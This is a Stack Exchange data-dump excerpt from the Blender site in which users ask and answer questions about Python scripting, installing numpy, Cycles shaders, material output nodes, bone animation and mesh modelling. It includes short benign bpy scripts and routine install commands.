  <row Id="5734" PostTypeId="2" ParentId="5732" CreationDate="2013-12-23T01:04:30.370" Score="8" Body="&lt;p&gt;As far as I know, this can't be done straight forwardly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, there is an &lt;strong&gt;experimental&lt;/strong&gt; feature you can try. Basically you build a Blender with some special CMAKE settings. Here is the complete &quot;HowTo&quot; &lt;em&gt;(from @Ideasman)&lt;/em&gt;: &lt;a href=&quot;http://wiki.blender.org/index.php/User%3aIdeasman42/BlenderAsPyModule&quot; rel=&quot;noreferrer&quot;&gt;Blender as a Python Module&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also notice that Blender (currently) works with python 3.3.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-12-23T01:04:30.370" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5735" PostTypeId="2" ParentId="5732" CreationDate="2013-12-23T01:05:59.270" Score="11" Body="&lt;p&gt;&lt;code&gt;bpy&lt;/code&gt; is only available when a script is being run from the Python interpreter &lt;strong&gt;in Blender&lt;/strong&gt;. You can't access it from an external interpreter. The &lt;code&gt;bpy&lt;/code&gt; module itself is located in the Python environment supplied with Blender (if you download the zip-file, rather than the installer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the &lt;code&gt;bpy&lt;/code&gt; module, open the script in Blender's Script Editor.&lt;/p&gt;&#xA;" OwnerUserId="211" LastActivityDate="2013-12-23T01:05:59.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5736" PostTypeId="2" ParentId="5713" CreationDate="2013-12-23T02:34:45.670" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;Add a plane, scale it to a rectangle;&lt;/li&gt;&#xA;&lt;li&gt;Select one side edge in Edit Mode, Hold &lt;kbd&gt;Ctrl&lt;/kbd&gt;, then click &lt;kbd&gt;LMB&lt;/kbd&gt; somewhere to extrude the low end of the final stick;&lt;/li&gt;&#xA;&lt;li&gt;Add a few support loops by &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;strong&gt;Solidify&lt;/strong&gt; modifier (to make the thickness), then and a &lt;strong&gt;Subsurf&lt;/strong&gt; modifier (to subdivide);&lt;/li&gt;&#xA;&lt;li&gt;Scale the edge(s) on the lower end until satisfied.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt;: You can adjust the thickness and subdivision level in the modifier stack as you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WH2OF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-12-23T02:34:45.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5737" PostTypeId="1" CreationDate="2013-12-23T02:57:45.227" Score="4" ViewCount="10232" Body="&lt;p&gt;I hit &lt;code&gt;Shift+F4&lt;/code&gt; to get the Blender Python console.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   PYTHON INTERACTIVE CONSOLE 3.2.3 (default, Sep 25 2013, 19:38:45)  [GCC 4.7.2]&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; import numpy&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;ImportError: No module named numpy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the web, I found some instructions that might work, that involved copying my Python3 numpy into the Blender Folder.  &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?217270-How-to-install-numpy&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?217270-How-to-install-numpy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install python3.2&lt;/li&gt;&#xA;&lt;li&gt;Install numpy for python3.2 using the python3.2 command instead of python&lt;/li&gt;&#xA;&lt;li&gt;on my system numpy was located in /usr/local/lib/python3.2/dist-packages. Copy numpy from there to blender/2.57/scripts/modules&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Looking around and with help from &lt;a href=&quot;https://askubuntu.com/questions/144766/where-does-blender-install-on-ubuntu&quot;&gt;StackOverflow&lt;/a&gt; In my case, copied numPy to &lt;code&gt;/usr/lib/blender/modules&lt;/code&gt; however it still cannot find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I may have done some of these steps wrong or not represented them accurately. This is to the best of my memory.&lt;/p&gt;&#xA;" OwnerUserId="1928" LastEditorUserId="-1" LastEditDate="2017-04-13T12:23:02.757" LastActivityDate="2013-12-23T06:11:28.880" Title="no module called numpy" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="2" ClosedDate="2013-12-23T06:11:28.073" ContentLicense="CC BY-SA 3.0" />
  <row Id="5738" PostTypeId="2" ParentId="5737" CreationDate="2013-12-23T03:48:38.423" Score="1" Body="&lt;p&gt;You need to copy the &lt;code&gt;numpy&lt;/code&gt; installation (or any other Python package) into:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;..\Blender\2.69\python\lib\site-packages\&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it works with no problem.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Practice:&lt;/strong&gt; go to the above directory and create a sub-directory &lt;code&gt;these&lt;/code&gt;. Go inside &lt;code&gt;these&lt;/code&gt; and create a empty file &lt;code&gt;__init__.py&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;Python&lt;/code&gt; console inside &lt;code&gt;Blender&lt;/code&gt; now if you type: &lt;code&gt;import these&lt;/code&gt; it works like a charm. This is the same story for any other package.&lt;/p&gt;&#xA;" OwnerUserId="1716" LastActivityDate="2013-12-23T03:48:38.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5739" PostTypeId="2" ParentId="5737" CreationDate="2013-12-23T06:00:47.120" Score="0" Body="&lt;p&gt;@Sambler&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed Python 3.3 with &lt;code&gt;sudo apt-get install python3.3&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I installed pip from &lt;a href=&quot;http://www.pip-installer.org/en/latest/installing.html&quot; rel=&quot;nofollow&quot;&gt;http://www.pip-installer.org/en/latest/installing.html&lt;/a&gt; calling &lt;code&gt;python3.3&lt;/code&gt; instead of &lt;code&gt;python&lt;/code&gt;.  This required getting &lt;code&gt;python3.3-dev&lt;/code&gt; with &lt;code&gt;apt-get&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installing numPy was straightforward after this &lt;code&gt;pip-3.3 install numpy&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally I installed blender from &lt;a href=&quot;http://www.blender.org/download/&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/download/&lt;/a&gt; and unzip with &lt;code&gt;tar jxvf blender-2.69-linux-glibc211-x86_64.tar.bz2&lt;/code&gt; and now it runs with &lt;code&gt;./blender&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added this line to &lt;code&gt;~/.bashrc&lt;/code&gt;: &lt;code&gt;export PATH=&quot;/path/to/blender:$PATH&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1928" LastEditorUserId="1928" LastEditDate="2013-12-23T06:11:28.880" LastActivityDate="2013-12-23T06:11:28.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5740" PostTypeId="1" AcceptedAnswerId="91941" CreationDate="2013-12-23T10:56:24.980" Score="11" ViewCount="7897" Body="&lt;p&gt;As the title says how can I achieve the kind of specularity you see in Blender Internal like Phong, CookTorr, etc. in Cycles. I've gotten close with a diffuse and glossy shader put together with an add shader but no dice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a certain Cycles node layout that can achieve the kind of specularity (again like phong and etc.) like in Blender Internal? Also we can't use different scenes it must be in one scene and rendered only with cycles.&lt;/p&gt;&#xA;" OwnerUserId="1106" LastActivityDate="2017-10-09T05:30:18.093" Title="How to get Blender Internal-like specularity in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;&lt;node-editor&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5741" PostTypeId="2" ParentId="5740" CreationDate="2013-12-23T12:06:21.603" Score="5" Body="&lt;p&gt;You could use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Shaders&quot; rel=&quot;noreferrer&quot;&gt;Glossy BSDF&lt;/a&gt;  and a plane that emits light (Emission set to 2.9, Sun at default).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ympL8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With roughness set to 0 the shape of the plane is recognizable:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4M5nQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the roughness to .1 a highlight similiar to phong will be rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FMQ2j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-12-23T12:06:21.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5742" PostTypeId="2" ParentId="5740" CreationDate="2013-12-23T17:39:22.763" Score="4" Body="&lt;p&gt;You're on the right track, and @stacker 's answer is good, but using a Mix Shader to mix glossy and diffuse shaders will give you the best of both worlds. You can control the blurriness of the reflections with the roughness on the glossy shader, and you can control how bright the highlights are by mixing in more or less diffuse (using the factor value on the mix shader).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's still not quite the same as phong/blinn/lambert/cook-torr but it'll get close.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2013-12-23T17:39:22.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5743" PostTypeId="2" ParentId="5711" CreationDate="2013-12-23T18:04:04.003" Score="2" Body="&lt;p&gt;Point lamps tend to be less noisy because they're discrete. I.e. the ray either found the lamp, or it didn't, whereas with a mesh light, a ray can find one of any number of different parts of the mesh light, each of which will produce a slightly different result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're familiar with the single-double-slit experiment in physics, it might help make more sense. If you're not, I can explain very briefly: think of a machine gun randomly spraying  bullets at a bullet-proof wall that has a single vertical slit in it. Then imagine the pattern that the bullets will make if they are able to go through the vertical slit and hit the back wall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a very large slit, then the pattern on the back wall will be large and indistinct. There will be generally more bullets in the middle and it will fade off toward the edges (where bullets are less likely to hit). It will also take a LOT of bullets to fill in that area behind the open slit. If you have a very narrow slit, then the few bullets that are able to make it through will make a much more distinct pattern/line on the back wall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Warning: very simple explanation following --&gt;) When Cycles is trying to determine the color of a point on a surface, it sprays rays (like bullets) to see what they hit. If they hit a light source, then the surface is illuminated. The light source is a little bit like the slit. If it's very large and easy to find, then it will take a lot of rays to resolve the pattern. If the light source is small, then the few rays that hit it will be exactly right, and the pattern will converge more quickly (because rays that don't hit the light are relatively easy to discard).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SO, long story short, if you have point light source, then it's like having a slit that is exactly as wide as the bullet going through it. This means that you only need a few bullets to make it through the slit before you get a nice clear line on the other side. With the point light source, you need fewer rays to hit it, so it isn't as noisy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, the discrete nature of point lights makes it really hard for them to give nice soft shadows. The &quot;size&quot; of the point light is basically a way for Cycles to make a point light give soft shadows by making it bigger...like a mesh light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Computationally, there might be something about point lights that makes them easier to calculate, even though they have &quot;size,&quot; but I don't know anything about that side of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2013-12-23T18:04:04.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5744" PostTypeId="1" AcceptedAnswerId="5765" CreationDate="2013-12-23T18:13:24.930" Score="2" ViewCount="939" Body="&lt;p&gt;It is possible to have more than one the Material output node. As far as I have seen, only one of them will be used. Probably the first. Can it be changed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I often use a second simple diffuse shader to get the output of a node in the middle of the network. Kind of like a viewer node, but with a material. With a simple way to switch the active output node, it could be made lots smoother.&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="599" LastEditDate="2013-12-24T02:26:27.790" LastActivityDate="2014-01-21T19:22:11.767" Title="Is it possible to set which material output node is used?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;interface&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5745" PostTypeId="1" CreationDate="2013-12-23T18:21:23.207" Score="5" ViewCount="2642" Body="&lt;p&gt;I would like to 3D print this image, which I computed in &lt;code&gt;numpy&lt;/code&gt; as an array. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My hope is to put this into Blender and export as an &lt;a href=&quot;http://www.makerbot.com/support/guides/design/&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;STL&lt;/code&gt;&lt;/a&gt; file to give to my friend at MakerBot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sOZqt.png&quot; width=&quot;200&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a 2D image but my plan is to thicken the image slightly to have a 3rd dimension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I draw this array in Blender ?&lt;/p&gt;&#xA;" OwnerUserId="1928" LastEditorUserId="55" LastEditDate="2013-12-24T01:35:30.803" LastActivityDate="2013-12-25T10:14:02.353" Title="Creating a geometry from a Python array" Tags="&lt;python&gt;&lt;workflow&gt;&lt;3d-printing&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5746" PostTypeId="2" ParentId="5696" CreationDate="2013-12-23T18:21:25.833" Score="0" Body="&lt;p&gt;Perhaps &lt;a href=&quot;http://blenderartists.org/forum/archive/index.php/t-178488.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this post on Blender Artists&lt;/a&gt; could help you. It is covering version 2.5, but at least it can give you a direction to go in and help you know what steps are needed.&lt;/p&gt;&#xA;&lt;p&gt;Here are some quotes from the thread:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?178488-How-to-add-a-texture-to-an-object-with-Python-in-Blender-2-5&amp;amp;p=1562141&amp;amp;viewfull=1#post1562141&quot; rel=&quot;nofollow noreferrer&quot;&gt;OP's question&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Just a very simple problem I think, but how can I make a little piece of&#xA;Python 2.5 script for this :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tell me which is the active object ?&lt;/li&gt;&#xA;&lt;li&gt;Create a new material&lt;/li&gt;&#xA;&lt;li&gt;Create a new texture : type Image or Movie&lt;/li&gt;&#xA;&lt;li&gt;Load an image in the texture&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?178488-How-to-add-a-texture-to-an-object-with-Python-in-Blender-2-5&amp;amp;p=1563396&amp;amp;viewfull=1#post1563396&quot; rel=&quot;nofollow noreferrer&quot;&gt;Successful answer&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def loadImage(imgName):&#xA;    img = bpy.data.add_image(imgName)&#xA;    tex = bpy.data.textures.new('TexName')&#xA;    tex.type = 'IMAGE' &#xA;    print(&amp;quot;Recast&amp;quot;, tex, tex.type)&#xA;    tex = tex.recast_type()&#xA;    print(&amp;quot;Done&amp;quot;, tex, tex.type)&#xA;    tex.image = img&#xA;    mat = bpy.data.materials.new('MatName')&#xA;    mat.add_texture(texture = tex, texture_coordinates = 'ORCO', map_to = 'COLOR') &#xA;    ob = bpy.context.object&#xA;    bpy.ops.object.material_slot_remove()&#xA;    me = ob.data&#xA;    me.add_material(mat)&#xA;    return&#xA;&#xA;loadImage('/home/thomas/picture.jpg')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Give or take the snippets that you need.&lt;/p&gt;&#xA;" OwnerUserId="1920" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-12-23T20:43:10.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5747" PostTypeId="2" ParentId="5745" CreationDate="2013-12-23T18:30:10.287" Score="0" Body="&lt;p&gt;Make it white lines on black background. Add a displace modifier to a relative high poly plane mesh and use the image as a height map. Apply the modifier. Cut of the bottom with booleans.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To refine it you can use the Decimate and/or Remesh modifier. Then you should be able to 3D-print it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't be afraid to use a really dense mesh. Slicing a dense mesh might take a little bit longer but that is the only drawback.&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2013-12-23T18:30:10.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5748" PostTypeId="2" ParentId="5744" CreationDate="2013-12-23T18:37:42.077" Score="1" Body="&lt;p&gt;I think that the best way to do this is with &lt;a href=&quot;http://adaptivesamples.com/node-wrangler&quot; rel=&quot;nofollow noreferrer&quot;&gt;this addon&lt;/a&gt; written by Greg Zaal, see &lt;a href=&quot;https://blender.stackexchange.com/a/1969/599&quot;&gt;this post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, after fiddling around a bit I found that &lt;strong&gt;the active material output node is the one that has not been selected for the longest time&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, say that the red shader (by shader I mean the material output node) is currently active in a node setup like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/21mPM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To make the green material output active:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the green material output&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the blue material output again, so the green shader has now been unselected for the longest (not counting the red shader). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the red shader. The green material output will now be active.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To make the blue material output active:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the green shader&lt;/li&gt;&#xA;&lt;li&gt;Select the red shader (the currently active material output). The currently active shader is now the blue material output.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2013-12-24T02:29:25.073" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5749" PostTypeId="2" ParentId="5740" CreationDate="2013-12-23T19:23:44.510" Score="6" Body="&lt;p&gt;I think I may have gotten the specularity down. What I did was use the diffuse and glossy shader with the add shader. Next I added a MixRGB node that's set to multiply with white (or whatever color you want) and pure black and connected the color output to the glossy node. The factor for the MixRGB node controls the intensity of glossy node (and thus the specularity).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a pic that demonstrates the effect:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/estqU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if there are any caveats to this trick but it does give me an effect similar to Blender Internal's specularity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: This method is physically incorrect, the glossy shader will end up brightening the scene, esp. if the glossy color is set too bright. Should only really be used for special cases.&lt;/p&gt;&#xA;" OwnerUserId="1106" LastEditorUserId="1106" LastEditDate="2017-10-09T05:30:18.093" LastActivityDate="2017-10-09T05:30:18.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5750" PostTypeId="1" AcceptedAnswerId="5751" CreationDate="2013-12-23T20:23:03.213" Score="2" ViewCount="136" Body="&lt;p&gt;I have an armature, and I want to do a &quot;flailing limbs&quot; effect. I figure a good way to do this would be to have a noise texture and rotate the bones in accordance with the texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something that can be done? Is there a better way?&lt;/p&gt;&#xA;" OwnerUserId="1924" LastActivityDate="2020-10-06T02:04:08.450" Title="Rotate bones using a texture?" Tags="&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5751" PostTypeId="2" ParentId="5750" CreationDate="2013-12-23T20:39:07.370" Score="3" Body="&lt;p&gt;I don't know if it's possible, haven't found any mechanism to link texture value to bone transformation. But we can make random flailing movement by adding &lt;strong&gt;Noise&lt;/strong&gt; modifier to the bone's rotation f-curve. From the manual entry &lt;a href=&quot;https://docs.blender.org/manual/en/latest/editors/graph_editor/fcurves/modifiers.html#noise&quot; rel=&quot;nofollow noreferrer&quot;&gt;on F-Curve Modifiers&lt;/a&gt;, this modifier&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Modifies the curve with a noise formula. This is useful for creating&#xA;subtle or extreme randomness to animated movements, like camera shake.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If applied to the bone's rotation in at least one axis, it could create the effect you wanted:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iTYue.png&quot; alt=&quot;1a&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="15924" LastEditDate="2020-10-06T02:04:08.450" LastActivityDate="2020-10-06T02:04:08.450" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="5752" PostTypeId="1" AcceptedAnswerId="5757" CreationDate="2013-12-23T20:50:43.850" Score="8" ViewCount="11417" Body="&lt;p&gt;I have a mesh that I created with a particle emitter and it's just a bunch of cubes randomly rotated. Here's a picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oLZU8.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is simplify this mesh so only the exterior parts are left. Basically something like a binary operation of adding the two cubes together, except every single piece needs to be added together so it simplifies into one exterior mesh with nothing protruding inside. How can this be accomplished?&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2020-05-07T02:03:37.193" Title="Simplify mesh by cutting out inside parts" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="7" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5754" PostTypeId="2" ParentId="5752" CreationDate="2013-12-23T21:02:44.300" Score="1" Body="&lt;p&gt;The simplest tool would be a boolean modifier. It's not as daunting as it might seem to add it to all the cubes: add it to one, select the rest of them (making sure the one with the modifier is &quot;active&quot;) and hit &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;l&lt;/kbd&gt; to bring up the linking menu, and pick &quot;Modifiers&quot; to make them all have the same modifiers as the active selection. The boolean union operation should at least attempt to remove interior faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, I wouldn't be surprised if the boolean doesn't give very nice results. This is a fairly complex operation that you're trying to accomplish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frankly, if your goal is simplicity, then if these are all just 8-point rectangular prisms, the geometry is probably simpler this way. Trying to get rid of internal geometry will probably add complexity, rather than reduce it.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2013-12-23T21:02:44.300" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5755" PostTypeId="1" AcceptedAnswerId="5761" CreationDate="2013-12-23T21:32:19.527" Score="32" ViewCount="63017" Body="&lt;p&gt;I need to model a simple spiral shape. I imagine the best way to do this is with curves, but I am unsure how to create a perfect spiral shape with curves. What's the best/easiest way to make a spiral tube?&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="743" LastEditDate="2014-02-05T02:18:05.367" LastActivityDate="2020-10-20T05:06:24.190" Title="Model a simple 3D spiral shape?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;bezier-curves&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="5756" PostTypeId="2" ParentId="5755" CreationDate="2013-12-23T21:35:02.110" Score="21" Body="&lt;p&gt;You can use the &lt;a href=&quot;https://www.blender.org/manual/modeling/modifiers/generate/screw.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Screw&lt;/em&gt; modifier&lt;/a&gt; to do this.&lt;/p&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://www.blender.org/manual/modeling/modifiers/generate/screw.html&quot; rel=&quot;noreferrer&quot;&gt;manual&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The Screw modifier is similar to the Screw tool in the Tool Shelf in that it takes a profile object, a Mesh or a Curve, to create a helix-like shape.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YZ7rX.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YZ7rX.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;https://wiki.blender.org/uploads/b/b1/25-Manual-Modifiers-Screw-align.png&quot; rel=&quot;noreferrer&quot;&gt;blender.org&lt;/a&gt;)&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-02-23T03:34:23.013" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="5757" PostTypeId="2" ParentId="5752" CreationDate="2013-12-23T21:50:04.177" Score="5" Body="&lt;p&gt;I don't think there is any easy way to do this. Here are a few ways, however they are quite resource intensive:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Remesh modifier:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can use the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.62/Remesh_Modifier&quot; rel=&quot;noreferrer&quot;&gt;Remesh modifier&lt;/em&gt;&lt;/a&gt; to do this, however it will take a long time to compute and result in a very dense mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you have &lt;em&gt;Remove Disconnected Pieces&lt;/em&gt; disabled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8GNFL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Python:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Expanding on Matt's answer, you can make a script that will create boolean modifiers for every cube on every cube:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# Make a group of your particle cubes and replace 'Group' with the name of your group:&#xA;particles = bpy.data.groups['Group'].objects&#xA;&#xA;#iterate through every cube in the group:&#xA;for object in particles:&#xA;    # Remove all existing modifiers:&#xA;    object.modifiers.clear()&#xA;    # For every object in the group,&#xA;    for target in particles:&#xA;        # Test if the object is the not the same as the object we are currently adding modifiers to:&#xA;        if target.name != object.name:&#xA;            # Add a boolean modifier&#xA;            mod = object.modifiers.new(name=&quot;test&quot;, type=&quot;BOOLEAN&quot;)&#xA;            # Set the target object:&#xA;            mod.object = target&#xA;            # Set the operation mode to UNION:&#xA;            mod.operation = 'UNION'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tested it with 100 cubes and it took quite a long time.&lt;br&gt;&#xA;Also note that every cube will be joined to every other cube, so there will be a lot of failed boolean operations caused by cubes that don't intersect trying to be joined.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-12-23T23:14:15.037" LastActivityDate="2013-12-23T23:14:15.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
